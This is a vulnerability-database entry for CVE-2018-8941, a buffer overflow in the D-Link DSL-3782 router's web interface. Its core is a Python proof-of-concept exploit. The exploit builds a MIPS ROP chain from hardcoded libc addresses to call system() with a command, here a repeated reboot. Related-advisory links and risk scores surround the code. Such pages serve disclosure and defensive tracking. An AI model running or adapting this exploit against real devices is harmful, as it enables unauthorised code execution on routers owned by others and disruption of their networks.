Lucene search
K

D-Link DSL-3782 Code execution(CVE-2018-8941)

🗓️ 04 Apr 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 109 Views

D-Link DSL-3782 Buffer overflow exploit allows code executio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2018-8941
3 Apr 201823:29
attackerkb
Circl
CVE-2018-8941
23 May 201808:20
circl
CNVD
D-Link DSL-3782 Buffer Overflow Vulnerability
4 Apr 201800:00
cnvd
CVE
CVE-2018-8941
3 Apr 201823:00
cve
Cvelist
CVE-2018-8941
3 Apr 201823:00
cvelist
NVD
CVE-2018-8941
3 Apr 201823:29
nvd
OSV
CVE-2018-8941
3 Apr 201823:29
osv
Prion
Buffer overflow
3 Apr 201823:29
prion
Positive Technologies
PT-2018-4011 · D Link · D-Link Dsl-3782
3 Apr 201800:00
ptsecurity

                                                import struct

# since we are exploiting through the WEB GUI, binary process mappings (/proc/`pidof boa`/maps) were obtained from '/userfs/bin/boa' binary
libc_base = 0x2b02b000 
# 0x59bb0, offset to system(), big endian
libc_system = struct.pack(">I",libc_base+0x59bb0) 

rop_pad = 'A'*580

# 3rd: Jump to system() from libC, $a0 contains argument
s0 = libc_system

# 2nd: Load stored command from $a1 to $a0 then jump to next gadget at $s0 -> system(cmd)
#.text:00041980                 move    $a0, $a1
#.text:00041984                 li      $a2, 0xC
#.text:00041988                 move    $t9, $s0
#.text:0004198C                 jalr    $t9 ; memset

s1 = struct.pack(">I",libc_base+0x41980)
s2 = 'BBBB'
s3 = 'CCCC'

# 1st: Load command stored on the stack at ($sp+0x168) to $a1 then jump to next gadget at $s1 ^
#.text:0000C654                 addiu   $a1, $sp, 0x168+var_150
#.text:0000C658                 move    $t9, $s1
#.text:0000C65C                 jalr    $t9 ; stat64

ra = struct.pack(">I",libc_base+0xC654)

payload = rop_pad + s0 + s1 + s2 + s3 + ra + "reboot;"*10
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Apr 2018 00:00Current
9.3High risk
Vulners AI Score9.3
EPSS0.22956
109